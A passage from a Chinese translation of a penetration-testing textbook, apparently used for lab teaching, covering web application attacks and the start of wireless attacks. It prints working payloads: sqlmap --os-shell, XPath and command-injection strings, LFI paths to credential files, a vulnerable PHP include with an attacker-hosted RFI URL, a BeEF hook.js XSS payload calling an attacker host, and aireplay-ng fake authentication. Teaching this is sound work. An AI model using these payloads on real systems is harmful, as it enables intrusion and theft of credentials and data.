root@kali:~# sqlmap -u "http://192.168.20.12/bookservice/bookdetail.aspx?id=2" --os-shell
--*snip*--
xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n] **Y**
--*snip*--
os-shell> **whoami**
do you want to retrieve the command standard output? [Y/n/a] **Y**
command standard output:    'nt authority\system'

如示例 14-2 所示，我们可以获得一个以System身份运行的 Shell，而无需猜测数据库的凭证。

注意

MS SQL 数据库本身没有在端口上监听，因此我们无法直接访问它。与第六章中的 Windows XP 系统不同，这个 Web 服务器没有 phpMyAdmin，因此我们无法通过其它方式访问数据库。托管网站中的 SQL 注入问题让我们获得了完整的系统访问权限。

XPath 注入

如前所述，本书服务应用程序使用 XML 认证，其中 XML 通过 Xpath 进行查询。我们可以使用XPath 注入攻击 XML。尽管其语法与 SQL 不同，但注入过程是相似的。

例如，尝试在登录页面的用户名和密码字段中分别输入单引号（'）。你应该会收到一个类似于图 14-11 所示的错误。

图 14-11. 登录时 XML 错误

如图 14-11 所示的错误消息，我们再次遇到注入问题，因为我们的语法出现了错误。由于我们处于登录页面，Xpath 的典型注入策略是尝试绕过身份验证，通过攻击 Xpath 查询逻辑访问经过身份验证的应用程序部分。

例如，如错误详情所示，登录查询会抓取提供的用户名和密码，然后将提供的值与 XML 文件中的凭据进行比较。我们能否创建一个查询来绕过有效凭据的需求？在登录时输入一组虚拟凭据，并使用 Burp Proxy 捕获请求，如图 14-12 所示。

现在，将捕获请求中的txtUser和txtPass参数更改为该值。

' or '1'='1

图 14-12. 捕获的登录请求

这告诉登录 Xpath 查询查找用户名和密码字段为空或1=1的用户账户。因为1=1始终为真，所以这个查询的逻辑是返回用户名为空或存在的用户——密码也是如此。因此，通过这种注入方法，我们可以让应用程序让我们作为身份验证文件中的第一个用户登录。如图 14-13 所示，我们已作为用户Mike登录。

图 14-13. 通过 Xpath 注入绕过身份验证

本地文件包含

另一个常见的 Web 应用漏洞是本地文件包含，即能够通过 Web 应用从应用程序或其他我们不应通过 Web 应用访问的文件系统读取文件。我们在第八章中看到过一个例子，Windows XP 目标上的 Zervit Web 服务器允许我们从目标下载文件，比如 SAM 和 SYSTEM 注册表文件的备份。

我们的 bookservice 应用也存在本地文件包含漏洞。作为用户Mike，转到Profile ▸ View Newsletters。点击列表中的第一个新闻通讯查看文件内容，如图 14-14 所示。

图 14-14. 查看新闻通讯

现在重新发送请求，并使用 Burp Proxy 捕获它，如图 14-15 所示。

图 14-15. 捕获的新闻通讯请求

点击Params标签，并注意参数c:\inetpub\wwwroot\Book\NewsLetter\Mike@Mike.com\Web Hacking Review.txt。路径c:\inetpub\wwwroot\Book\NewsLetter\Mike表明新闻通讯功能通过它们的绝对路径从本地文件系统中提取新闻通讯。看起来在Newsletter文件夹中有一个名为Mike@Mike.com的文件夹。也许每个订阅新闻通讯的用户都有这样的文件夹。

另外，我们似乎发现应用程序实际上位于路径c:\inetpub\wwwroot\Book，正如新闻订阅请求中所示，而不是我们从 URL 中可能预期的c:\inetpub\wwwroot\bookservice。我们注意到这一点，因为稍后它可能会派上用场。

如果我们将文件名参数更改为 Web 应用程序中的另一个文件，会怎样呢？我们能否访问应用程序的完整源代码？例如，将文件更改为以下内容，然后将请求转发到服务器。

C:\inetpub\wwwroot\Book\Search.aspx

如你所见，Search.aspx页面的源代码在新闻订阅框中显示出来，如图 14-16 所示。

拥有 Web 应用程序完整的服务器端源代码使我们能够进行全面的源代码审查，寻找潜在问题。

但或许我们还可以访问更敏感的数据。例如，我们知道用户名和密码存储在一个 XML 文件中。或许我们可以请求这个文件。我们不知道它的名称，但通过对常见 XML 认证场景中常见文件名的几次猜测，我们可以找到文件名AuthInfo.xml。在 Burp Proxy 中捕获新闻订阅请求，并将请求的文件更改为此处显示的文件。

图 14-16. 本地文件包含漏洞

C:\inetpub\wwwroot\Book\AuthInfo.xml

如图 14-17 所示，我们现在可以访问明文的用户名和密码。现在我们知道为什么之前的 Xpath 注入让我们以用户Mike身份登录：Mike是文件中的第一个用户。

这是使用代理工具非常有用的一个典型例子。一个只有浏览器的用户只能点击他或她能看到的文件，即展示的新闻订阅内容。另一方面，借助代理工具，我们能够看到请求从文件系统中请求特定文件。通过在 Burp Proxy 中手动更改请求中的文件名，我们能够看到其他敏感文件。毫无疑问，开发人员没有考虑到用户可以请求任何文件的可能性，因此未曾限制用户通过新闻订阅能够访问的文件。

图 14-17. 认证信息

更糟糕的是，我们不仅仅局限于来自 Web 应用程序的文件。我们可以加载 IIS_USER 具有读取权限的任何文件。例如，如果你在 C 盘创建一个名为secret.txt的文件，你可以通过新闻订阅功能加载它。只需在 Burp Suite 中的请求中替换你想要的文件。如果我们能够找到上传文件到 Web 应用程序的方法，我们甚至可以利用 LFI 漏洞在 Web 服务器上执行恶意代码。

远程文件包含

远程文件包含（RFI）漏洞允许攻击者加载并执行托管在其他地方的恶意脚本，在脆弱的服务器上执行。在第八章中，我们使用 XAMPP 中的开放 phpMyAdmin 界面写了一个简单的 PHP Shell，最终将 Meterpreter 的 PHP 版本写入了 Web 服务器。虽然我们这里没有上传文件到服务器，但攻击方式相似。如果我们能欺骗脆弱的服务器执行一个远程脚本，就能在底层系统上运行命令。

我们的网站没有远程文件包含漏洞，但这里展示了一个简单的脆弱 PHP 代码作为示例。

<?php
include($_GET['file']);
?>

攻击者可以将恶意的 PHP 脚本（例如我们在第八章中使用的 meterpreter.php 脚本）托管在自己的 Web 服务器上，并请求带有文件参数的页面，参数设置为 http://<attacker_ip>/meterpreter.php。RFI 漏洞将导致 meterpreter.php 被 Web 服务器执行，即使它托管在其他地方。当然，我们的示例应用程序是 ASP.net，而非 PHP，但 Msfvenom 可以为此类应用程序创建 ASPX 格式的有效载荷。

命令执行

如前所述，Newsletters 文件夹中包含一个名为 Mike@Mike.com 的文件夹。从逻辑上讲，这表明该网站可能包含类似的文件夹，存放所有已注册接收简报的用户的电子邮件地址。应用程序的某些部分必须在用户注册或订阅简报时创建这些文件夹。该应用程序的代码可能正在运行命令，在文件系统中创建这些文件夹。也许，正因为缺乏输入验证，我们可以运行开发者本来不打算让我们运行的其他命令。

如图 14-18 所示，网页应用的右下角包含一个注册简报的表单。我们怀疑，当我们输入电子邮件地址时，系统会在 newsletters 文件夹中为该电子邮件地址创建一个文件夹。

我们猜测，电子邮件地址输入被传递给一个系统命令，用于在 newsletters 文件夹中创建一个目录。如果开发者没有正确清理用户输入，我们可能能够通过使用 & 符号来运行额外的命令。

图 14-18. 简报注册

我们将执行一个命令，并将其输出发送到应用程序的 *C:\inetpub\wwwroot\Book* 目录下的一个文件，然后直接访问文件，查看命令的输出。按照这里所示的方式，在 Windows 7 目标机上运行 ipconfig 命令，将系统命令（如 ipconfig）的输出通过管道传送到 Book 目录中的文件 test.txt。

georgia@bulbsecurity.com & ipconfig > C:\inetpub\wwwroot\Book\test.txt

当我们浏览到 192.168.20.12/bookservice/test.txt 时，我们会看到 ipconfig 命令的输出，如图 14-19 所示。

图 14-19. 命令执行输出

我们将仅限于 Internet 信息服务（IIS）用户的权限。对我们来说不幸的是，Windows 7 系统上的 Microsoft IIS 应用程序以单独的帐户运行，而没有系统用户的完整权限：这对开发人员来说是一个更好的安全场景，但对我们来说则更具挑战性。

虽然我们无法完全访问系统，但凭借我们已有的访问权限，我们仍然能够收集大量关于系统的信息。例如，我们可以使用dir命令查找有趣的文件，或者使用命令netsh advfirewall firewall show rule name=all查看 Windows 防火墙中的规则。

由于我们正在使用 Windows 系统，因此无法通过命令行使用wget拉取交互式 shell，但我们可以使用其他多种方法来实现。在第八章中，我们使用 TFTP 将 shell 从我们的 Kali 系统传输到 Windows XP 目标系统。Windows 7 默认没有安装 TFTP 客户端，但在 Windows 7 中，我们有一个强大的脚本语言叫做Powershell，我们可以利用它执行下载和执行文件等任务。

注意

本书的范围不包括对 Powershell 的研究，但它在最新的 Windows 操作系统的后期利用中非常有用。可以参考这里的资料：www.darkoperator.com/powershellbasics/。

跨站脚本攻击（XSS）

也许最常见且最具争议的 Web 应用程序安全漏洞就是跨站脚本攻击（XSS）。当此类漏洞存在时，攻击者可以将恶意脚本注入到一个本无害的网站中，以便在用户的浏览器中执行。

XSS 攻击通常分为两类：存储型和反射型。存储型 XSS 攻击会存储在服务器上，并在用户访问存储了脚本的页面时执行。用户论坛、评论区以及其他用户可以保存输入并显示给其他用户的地方，都是这类攻击的理想目标。反射型 XSS 攻击并不存储在服务器上，而是通过发送包含 XSS 攻击本身的请求来创建。攻击发生在用户输入被包含在服务器响应中时，例如在错误信息或搜索结果中。

反射型 XSS 攻击依赖于用户发送一个包含 XSS 攻击的请求，因此攻击中很可能也会包含某种社会工程学的成分。事实上，XSS 的存在可能实际上会增加社会工程学攻击的成功率，因为你可以构造一个部分来自真实网站的 URL——一个用户知道并信任的网站——并利用 XSS，例如将用户重定向到恶意页面。像本章讨论的其他攻击一样，XSS 攻击依赖于缺乏用户输入清理，这使得我们能够创建并运行恶意脚本。

检查反射型 XSS 漏洞

我们应该检查所有用户输入是否存在 XSS 漏洞。我们发现应用程序在搜索功能中存在反射型 XSS 漏洞。尝试在“Books Search”框中搜索标题xss，如图 14-20 所示。

如图 14-21 所示，搜索结果页面会将原始用户输入作为结果的一部分打印出来。如果用户输入没有经过适当的清理，那么我们就可以在这里利用 XSS 漏洞。

图 14-20. 搜索功能图 14-21. 搜索结果页面

常见的第一个 XSS 测试是尝试运行一个 JavaScript 警告框。以下代码将尝试弹出一个显示文本xss的 JavaScript 警告框。如果用户输入没有经过适当的过滤，这段脚本将作为搜索结果页面的一部分执行。

<script>alert('xss');</script>

在某些情况下，用户的浏览器会自动阻止明显的 XSS 攻击，例如这个例子，而 Iceweasel 就是其中之一。切换到你的 Windows 7 目标系统，使用 Internet Explorer。正如图 14-22 所示，弹出警告脚本执行。

图 14-22. XSS 弹出窗口

在确认存在反射型 XSS 后，我们可以尝试利用它攻击用户。常见的攻击包括窃取会话 Cookie 并发送到攻击者控制的网站，或者嵌入一个框架（将 HTML 页面分割成不同部分的方式），诱使用户输入登录凭据。用户可能会认为这个框架是原始页面的一部分，然后输入他的凭据，这些凭据随后被发送到攻击者的网站。

使用浏览器利用框架（BeEF）进行 XSS 攻击

XSS 问题往往被忽视。一个仅显示“XSS”的警告框能造成多大伤害呢？一个好的工具可以帮助利用 XSS 漏洞并揭示其真正的攻击潜力，那就是浏览器利用框架（BeEF）。通过使用 BeEF，我们可以通过诱使用户访问我们的 BeEF 服务器，或者更好地在存在 XSS 漏洞的情况下，使用 BeEF 的 JavaScript 钩子作为有效载荷来“钩住”浏览器。

现在切换到目录/usr/share/beef-xss，并运行./beef，如示例 14-3 所示。这将启动 BeEF 服务器，包括 Web 界面和攻击钩子。

示例 14-3. 启动 BeEF

root@kali:~# cd /usr/share/beef-xss/
root@kali:/usr/share/beef-xss# ./beef
[11:53:26][*] Bind socket [imapeudora1] listening on [0.0.0.0:2000].
[11:53:26][*] Browser Exploitation Framework (BeEF) 0.4.4.5-alpha
--*snip*--
[11:53:27][+] running on network interface: 192.168.20.9
[11:53:27]    |   Hook URL: http://192.168.20.9:3000/hook.js
[11:53:27]    |_  UI URL:   http://192.168.20.9:3000/ui/panel
[11:53:27][*] RESTful API key: 1c3e8f2c8edd075d09156ee0080fa540a707facf
[11:53:27][*] HTTP Proxy: http://127.0.0.1:6789
[11:53:27][*] BeEF server started (press control+c to stop)

现在，在 Kali 系统中，浏览到192.168.20.9:3000/ui/panel以访问 BeEF 的 Web 界面。你应该看到一个登录页面，如图 14-23 所示。

图 14-23. BeEF 登录页面

BeEF 的默认凭据是beef:beef。在登录对话框中输入这些凭据后，你将看到网页界面（图 14-24）。

图 14-24. BeEF 网页界面

目前没有浏览器被 BeEF 钩住，因此我们需要欺骗某人加载并运行 BeEF 的恶意hook.js脚本。让我们回到图书搜索框中的 XSS 漏洞。这次，我们不使用警告对话框，而是利用这个问题在目标浏览器中加载 BeEF 的hook.js。在 Windows 7 的 Internet Explorer 浏览器中，输入"<script src=http://192.168.20.9:3000/hook.js></script>"到图书搜索框，并点击Go。这次，用户不会看到任何警告框或其他提示，也没有任何迹象表明有什么问题，但如果你返回到 BeEF，你应该会在屏幕左侧的在线浏览器列表中看到 Windows 7 主机的 IP 地址，如图 14-25 所示。

在详细信息窗格中，选择 Windows 7 的 IP 地址后，你可以看到关于已钩住浏览器以及底层系统的详细信息，如版本和已安装的软件。在窗格顶部有额外的标签，如日志和命令。点击命令查看你可以在已钩住浏览器上运行的其他 BeEF 模块。

图 14-25. 已钩住的浏览器

例如，如图 14-26 所示，导航到浏览器 ▸ 已钩住的域 ▸ 创建警告对话框。在屏幕右侧，你可以选择更改警告文本。完成后，点击右下角的执行。

图 14-26. 运行 BeEF 模块

返回到你的 Windows 7 浏览器。你应该会看到如图 14-27 所示的弹出对话框。

图 14-27. 在已钩住的浏览器中触发警告

另一个有趣的 BeEF 命令允许你从 Windows 剪贴板窃取数据。在 Windows 7 系统上，将一些文本复制到剪贴板。现在在 BeEF 中，导航到命令模块树中的主机 ▸ 获取剪贴板。剪贴板上的文本将显示在右侧的命令结果窗格中，如图 14-28 所示。

图 14-28. 窃取剪贴板信息

在本节中，我们仅探讨了使用 BeEF 劫持浏览器的两个简单示例。其实我们可以做更多的事情。例如，我们可以利用目标浏览器作为跳板，开始通过 ping 扫描或端口扫描收集本地网络的信息。你甚至可以将 BeEF 与 Metasploit 集成。在渗透测试中，你可以将 BeEF 作为社交工程攻击的一部分。如果你能在客户的 Web 服务器上发现一个 XSS 漏洞，你可以通过将用户引导到他们信任的公司网站，而不是攻击者控制的网站，来提升你攻击的效果。

跨站请求伪造

跨站脚本攻击利用了用户对网站的信任，而另一种类似的漏洞类别，称为跨站请求伪造（CSRF），则利用了网站对用户浏览器的信任。考虑以下场景：用户登录了一个银行网站，并且拥有一个有效的会话 Cookie。自然，用户还在其他标签页中浏览其他网站。用户打开了一个恶意网站，该网站包含一个框架或图像标签，触发了一个 HTTP 请求，向银行网站发送了正确的参数，以将资金转账到另一个账户（假设是攻击者的账户）。银行网站当然会检查用户是否已登录。发现用户的浏览器有一个有效的会话后，银行网站执行了请求中的命令，攻击者就窃取了用户的钱。用户当然没有发起该交易——他只是不幸地浏览到了一个恶意网站。

使用 w3af 进行 Web 应用扫描

使用工具进行测试自动化是困难的，特别是对于定制的应用程序。没有什么能与熟练的 Web 应用测试人员使用代理进行的测试相比。尽管如此，几个商业 Web 应用扫描工具以及一些免费的开源扫描工具可以自动化一些任务，例如爬行网站和查找已知的安全问题。

一个开源的 Web 应用扫描工具是Web 应用攻击和审计框架（w3af）。w3af 由多个插件组成，执行不同的 Web 应用测试任务，例如寻找 URLs 和参数进行测试，并测试有趣的参数以检测 SQL 注入漏洞。

现在启动 w3af，如下所示。

root@kali:~# w3af

w3af 的 GUI 将会启动，并且看起来类似于图 14-29。屏幕左侧是扫描配置文件。默认情况下，你处于一个空配置文件中，这允许你完全自定义针对目标运行哪些 w3af 插件。你还可以使用几个预配置的配置文件。例如，OWASP_Top10配置文件将使用发现部分的插件爬取应用，并运行来自审计部分的插件，查找来自开放 Web 应用安全项目（OWASP）十大漏洞类别的漏洞。输入要扫描的 URL，如图 14-29 所示，然后点击窗口右侧的开始按钮。

图 14-29. 使用 w3af

在扫描运行时，详细信息将显示在日志标签页中，发现的问题将添加到结果标签页中(图 14-30)。

图 14-30. w3af 结果

w3af 发现了我们在本章开头利用的 SQL 注入漏洞，以及一些值得添加到渗透测试报告中的小问题。你可以尝试其他 w3af 配置文件，或创建你自己的配置文件，自定义针对应用运行哪些插件。w3af 甚至可以进行凭证扫描，这时它会拥有一个与应用的活跃登录会话，从而可以访问额外的功能来查找问题。

总结

在本章中，我们简要地查看了一个示例应用中的常见 Web 应用漏洞，该应用没有进行必要的输入清理来防止许多攻击。我们的 bookservice 应用在其书籍详情页存在 SQL 注入漏洞。我们能够从数据库中提取数据，甚至获得系统命令 shell。

我们在基于 XML 的登录功能中发现了类似的注入漏洞。我们能够使用特制的查询绕过身份验证，并以AuthInfo.xml文件中存储的第一个用户身份登录。我们还能够利用新闻订阅页面查看 Web 应用中任意页面的源代码，包括认证信息——这是由于页面缺乏访问控制以及本地文件包含问题。我们通过将命令与注册新闻订阅的电子邮件地址连接，成功在系统上运行命令，并能够将命令输出写入文件，然后通过浏览器访问这些文件。我们还在搜索功能中发现了反射型 XSS 漏洞。我们利用 BeEF 框架来利用这个 XSS 问题，控制目标浏览器，从而在系统中获得了立足点。最后，我们简要地了解了一个开源 Web 漏洞扫描工具——w3af。

Web 应用程序测试值得比本书中能讨论的更多的关注。本章中讨论的所有问题都在 OWASP 的网站上进行了详细讨论，(www.owasp.org/index.php/Main_Page/)，这是继续学习 Web 应用程序安全的一个很好的起点。OWASP 还发布了一个易受攻击的应用程序 Webgoat，使用练习让用户亲身体验利用本章中以及其他问题的 Web 应用程序漏洞。通过 Webgoat 进行实践是你学习 Web 应用程序测试的一个很好的下一步。

另一个需要注意的事项是我们的应用程序是一个运行在 Windows 上的 ASP.net 应用程序。在你的渗透测试职业生涯中，你将遇到其他类型的应用程序，比如运行在 Linux 上的 Apache/PHP/MySQL 应用程序，或者是 Java Web 应用程序。你还可能会遇到使用 REST 和 SOAP 等 API 传输数据的应用程序。尽管由于缺乏输入校验所引起的基础问题可以出现在任何平台上，但特定的编码错误和利用这些错误的语法可能有所不同。随着你继续学习 Web 应用程序安全，务必熟悉不同种类的应用程序。

第十五章. 无线攻击

本章将简要介绍无线安全。到目前为止，我们已经看了几种突破安全边界的方法。但如果有攻击者坐在目标组织大楼前的长椅上，而组织提供了弱加密的无线访问到内部网络，那么网络应用安全、火墙、信息安全培训等都无法保护内部网络。

设置

在本章的示例中，我将使用一台 Linksys WRT54G2 无线路由器，但任何支持 WEP 和 WPA2 加密的路由器都可以使用。默认情况下，我的 Linksys 路由器具有一个 Web 管理界面，地址是 http://192.168.20.1，如图 15-1 所示。路由器的默认用户名和密码是 admin:admin。默认凭据因设备而异，但在渗透测试中，常常会发现路由设备仍然使用默认凭据——这会导致攻击者获得对路由器的管理控制。

注意

本书不会涵盖对网络设备的攻击，但请检查你所拥有的任何网络设备的管理接口。攻击者访问企业网络设备可能会造成严重损害，因此不容忽视。

图 15-1. Linksys WRT54G2 网络界面

我还将使用一个 Alfa Networks AWUS036H USB 无线网卡。这个网卡以及类似的 Alfa USB 型号，非常适合用于无线安全评估，特别是在使用虚拟机时。VMware 不支持无线网卡的驱动，但它支持 USB 直通功能，允许我们从虚拟机中使用 Kali Linux 内置的无线驱动。使用 USB 无线网卡可以让我们从虚拟机中评估无线网络。

查看可用的无线接口

在将 Alfa 无线网卡连接到 Kali 虚拟机后，输入 iwconfig 以查看虚拟机上可用的无线接口。请注意，在我的案例中，Alfa 网卡连接为 wlan0 ❶，如示例 15-1 所示。

示例 15-1. Kali Linux 无线接口

root@kali:~# iwconfig
wlan0❶   IEEE 802.11bg  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off

lo        no wireless extensions.

eth0      no wireless extensions.

扫描访问点

现在我们可以扫描附近的接入点了。命令 iwlist wlan0 scan 将使用 wlan0 接口扫描附近的接入点，如示例 15-2 所示。

示例 15-2. 扫描附近的无线接入点

root@kali:~# iwlist wlan0 scan
  Cell 02 - Address: 00:23:69:F5:B4:2B❶
                    Channel:6❷
                    Frequency:2.437 GHz (Channel 6)
                    Quality=47/70  Signal level=-63 dBm
                    Encryption key:off❸
                    ESSID:"linksys"❹
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                              9 Mb/s; 14 Mb/s; 18 Mb/s
                    Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                    Mode:Master
--*snip*--

通过这个初步扫描，我们几乎收集到了所有需要的信息，以便稍后在本章中进行攻击。我们有它的 MAC 地址 ❶，它广播的频道 ❷，我们了解到它目前没有使用加密 ❸，还有它的 SSID ❹。

监视模式

在继续之前，让我们将 Alfa 卡设置为监视模式。就像 Wireshark 中的混杂模式一样，监视模式允许我们看到除了专门为无线卡传输的流量之外的额外无线流量。我们将使用 Airmon-ng 脚本，这属于 Aircrack-ng 无线评估工具套件的一部分，来将 Alfa 卡设置为监视模式。首先，确保没有正在运行的进程会干扰监视模式，通过输入 airmon-ng check，如示例 15-3 所示。

示例 15-3. 检查干扰进程

root@kali:~# airmon-ng check
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID     Name
2714    NetworkManager
5664    wpa_supplicant

如你所见，Airmon 找到了两个可能干扰的运行进程。根据你的无线卡和驱动程序，如果不终止这些程序，你可能会遇到一些问题。我们使用的这张卡应该不会有问题，但一些 USB 无线卡可能会。如果你想一步终止所有干扰进程，可以输入 airmon-ng check kill，如示例 15-4 所示。

示例 15-4. 终止干扰进程

root@kali:~# airmon-ng check kill
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID     Name
2714    NetworkManager
5664    wpa_supplicant
Killing all those processes...

现在输入 airmon-ng start wlan0 来将无线接口切换为监视模式，如示例 15-5 所示。这将允许我们捕获原本不属于我们的数据包。Airmon-ng 创建了无线接口 mon0 ❶。

示例 15-5. 将 Alfa 卡设置为监视模式

root@kali:~# airmon-ng start wlan0
Interface    Chipset             Driver
wlan0        Realtek RTL8187L    rtl8187 - [phy0]
             (monitor mode enabled on mon0) ❶

捕获数据包

在监视模式下的接口上，我们来看一下使用 Aircrack-ng 套件中的 Airodump-ng 可以收集到什么数据。Airodump-ng 用于捕获并保存无线数据包。示例 15-6 展示了如何告诉 Airodump-ng 使用监视模式下的无线接口 mon0。

示例 15-6. 使用 Airodump-ng 开始数据包转储

root@kali:~# airodump-ng mon0 --channel 6
 CH  6 ][ Elapsed: 28 s ] 2015-05-19 20:08

 BSSID                 PWR    Beacons    #Data, #/s   CH   MB   ENC  CIPHER AUTH ESSID

 00:23:69:F5:B4:2B❶   -30         53        2    0    6   54 . OPN❷             linksys❸
 BSSID               STATION               PWR   Rate    Lost    Frames   Probe

 00:23:69:F5:B4:2B   70:56:81:B2:F0:53❹   -21   0       -54     42       19

Airodump-ng 输出收集有关无线数据包的信息，包括基础服务集标识符（BSSID），即基站的 MAC 地址 ❶。我们还会看到额外的信息，如用于无线安全的加密算法 ❷，以及服务集标识符（SSID） ❸。Airodump-ng 还会获取连接客户端的 MAC 地址 ❹，以及我主机附着到无线接入点的 MAC 地址。（在本章稍后的无线安全破解过程中，我们将进一步检查 Airodump-ng 输出中的其他字段。）

现在我们知道 Linksys 接入点是开放的，没有安全性。

开放无线

开放无线网络从安全角度来看是一个真正的灾难，因为任何在接入点天线范围内的人都可以连接到该网络。虽然开放网络在连接后可能需要身份验证，有些确实如此，但许多开放网络让任何人都能连接。

此外，通过开放网络传输的无线数据包是未加密的，任何监听的人都可以看到明文中的任何数据。敏感数据可能通过如 SSL 等协议进行加密，但这并非总是如此。例如，开放无线网络上的 FTP 流量是完全未加密的，包括登录信息，我们甚至不需要使用 ARP 或 DNS 缓存中毒来捕获数据包。任何处于监听模式的无线网卡都能够看到未加密的流量。

现在让我们来看看那些部署了各种安全协议的网络，这些协议可以防止不希望的实体连接到网络并截获流量。

有线等效隐私（Wired Equivalent Privacy）

许多启用加密的路由器默认使用较老的加密方式，即有线等效隐私（WEP）。WEP 的根本问题在于其算法的缺陷，使得攻击者能够恢复任何 WEP 密钥。WEP 使用 Rivest Cipher 4（RC4）流密码和一个预共享密钥。任何想要连接网络的人都可以使用相同的密钥，这个密钥由一串十六进制数字组成，用于加密和解密。明文（未加密）数据与密钥流进行异或（XOR）按位操作，生成加密的密文。

按位异或（XOR）操作有四种可能性：

0 XOR 0 = 0
1 XOR 0 = 1
0 XOR 1 = 1
1 XOR 1 = 0

[图 15-2 和图 15-3 中的比特流的零和一可以表示任何通过网络传输的数据。图 15-2 展示了明文如何与密钥流进行异或（XOR）操作，从而生成密文。

图 15-2. WEP 加密

当解密时，使用相同的密钥流对密文进行异或操作，以恢复原始明文，如图 15-3 所示。

图 15-3. WEP 解密

共享 WEP 密钥可以是 64 位或 148 位。在这两种情况下，初始化向量（IV）占密钥的前 24 位，以增加随机性，使有效密钥长度实际上仅为 40 位或 104 位。在加密系统中添加随机性是常见的做法，因为如果同一个密钥被重复使用，攻击者可以检查生成的密文是否存在模式，从而可能破解加密。

注释

密码分析师通常发现，密码算法中的随机性没有得到正确实现，就像 WEP 一样。首先，WEP 的 24 位随机化在现代密码学标准下是最小的。

初始化向量（IV）和密钥被连接起来，然后通过密钥调度算法（KSA）和伪随机数生成器（PRNG）生成密钥流。（这里省略数学部分。）接下来，计算出一个完整性校验值（ICV），并在加密之前将其与明文连接起来，以防止攻击者拦截密文、翻转某些位，并将解密后的明文更改为恶意或至少具有误导性的内容。然后，明文与密钥流进行异或操作（如图 15-2 所示）。生成的数据包由 IV、ICV、密文和一个两位的密钥 ID 组成，如图 15-4 所示。

图 15-4. WEP 加密

解密过程类似，如图 15-5 所示。IV 和密钥（由密钥 ID 表示），作为数据包的一部分存储为明文，被连接起来并通过相同的密钥调度算法和伪随机数生成器生成与加密时使用的密钥流完全相同的密钥流。然后，密文与密钥流进行异或操作，揭示出明文和 ICV。最后，将解密后的 ICV 与附加到数据包上的明文 ICV 值进行比较。如果值不匹配，则丢弃该数据包。

图 15-5. WEP 解密

WEP 的弱点

不幸的是，WEP 存在一些固有的问题，允许攻击者恢复密钥或篡改合法的数据包。事实上，任何 WEP 密钥都可以被携带足够密文并使用相同共享密钥的攻击者恢复。唯一真正安全的加密系统是随机一次性密码本，它只使用一个特定的密钥一次。WEP 的主要问题在于 24 位的初始化向量（IV）没有引入足够的随机性；它最多有 2²⁴（即 16,777,216）个值。

无线网卡和接入点没有标准的方法来计算初始化向量（IV），而在实际应用中，使用的 IV 空间可能更小。无论如何，给定足够的数据包，IV 会被重复使用，且相同的值（静态密钥与 IV 连接）将被用来生成密文。通过被动监听网络流量（或更好的是，注入流量到网络中，迫使生成更多的数据包，从而生成更多的 IV），攻击者可以收集足够的数据包进行密码分析并恢复密钥。

同样，ICV（用于防止攻击者拦截加密消息、翻转位并更改结果明文）不足以保证安全。不幸的是，ICV 实现中的循环冗余校验 32（CRC-32）存在弱点，可能允许攻击者为修改后的消息构造正确的 ICV。由于 CRC-32 是线性算法，在密文中翻转特定的比特位会对生成的 ICV 产生确定性结果，且了解 CRC-32 计算方式的攻击者可能会导致修改后的消息被接受。因此，ICV 的实现和 IV 一样，按照现代加密标准并不可靠。

我们可以使用 Aircrack-ng 套件从使用 WEP 安全的无线网络中恢复共享密钥。同样，密码攻击背后的数学原理超出了本书的范围。幸运的是，我们有一些工具，如果能够捕获所需的流量，它们会处理复杂的部分。

使用 Aircrack-ng 破解 WEP 密钥

破解 WEP 密钥有多种方法，包括伪认证攻击、分片攻击、chopchop 攻击、caffé latte 攻击和 PTW 攻击。我们将详细了解伪认证攻击，它要求至少有一个合法客户端连接到接入点。

我们将使用主机系统模拟一个连接的客户端。首先，将路由器的无线安全设置更改为 WEP（如果需要帮助，请参阅用户手册），然后确保无线网卡处于监视模式，以便可以在无需先认证的情况下捕获网络流量。

现在来看一下我们可以使用 Airodump-ng 工具从 Aircrack-ng 收集到哪些数据。告诉 Airodump-ng 使用无线接口 mon0 的监视模式，如示例 15-7 所示，并使用 -w 标志将所有数据包保存到文件中。

示例 15-7. Airodump-ng 捕获用于 WEP 密码分析

root@kali:~# airodump-ng -w book mon0 --channel 6
 CH  6 ][ Elapsed: 20 s ] 2015-03-06 19:08
 BSSID                 PWR    Beacons    #Data, #/s   CH    MB   ENC    CIPHER AUTH ESSID
 00:23:69:F5:B4:2B❶   -53         22         6   0    6❷  54 . WEP❸  WEP         linksys❹
 BSSID                 STATION               PWR   Rate    Lost    Frames   Probe
 00:23:69:F5:B4:2B     70:56:81:B2:F0:53     -26   54-54      0         6

这次初步扫描收集了我们开始对基站发起 WEP 攻击所需的所有信息。在这里，我们有 BSSID ❶、无线频道 ❷、加密算法 ❸ 和 SSID ❹。我们将使用这些信息来收集数据包以破解 WEP 密钥。当然，您自己的设置可能不同，但以下是我们将使用的内容：

基站 MAC 地址: 00:23:69:F5:B4:2B
SSID: linksys
频道: 6

注入数据包

尽管 [示例 15-7 中的 Airodump-ng 输出显示来自接入点的一些流量，但要破解一个 64 位的 WEP 密钥，我们需要大约 250,000 个 IV，而破解一个 148 位的 WEP 密钥需要大约 1,500,000 个 IV。与其无所事事地监听数据包，我们会捕获并重新广播数据包到接入点，以快速生成唯一的 IV。我们需要进行认证，因为如果我们的 MAC 地址没有通过接入点认证，任何我们发送的数据包都会被丢弃，并且我们将收到一个去认证请求。我们将使用 Aireplay-ng 伪造认证与接入点进行交互，并欺骗它响应我们注入的数据包。

在使用伪造认证时，我们告诉接入点我们准备好证明我们知道 WEP 密钥，如示例 15-8 所示。当然，因为我们还不知道密钥，所以不会发送它，但我们的 MAC 地址现在已在可以向接入点发送数据包的客户端列表中，因此这是伪造的认证。

示例 15-8. 使用 Aireplay-ng 伪造认证

root@kali:~# aireplay-ng -1 0 -e linksys -a 00:23:69:F5:B4:2B -h 00:C0:CA:1B:69:AA mon0
20:02:56  Waiting for beacon frame (BSSID: 00:23:69:F5:B4:2B) on channel 6

20:02:56  Sending Authentication Request (Open System) [ACK]
20:02:56  Authentication successful
20:02:56  Sending Association Request [ACK]
20:02:56  Association successful :-) (AID: 1) ❶

我们使用以下标志及其相关数据伪造认证：

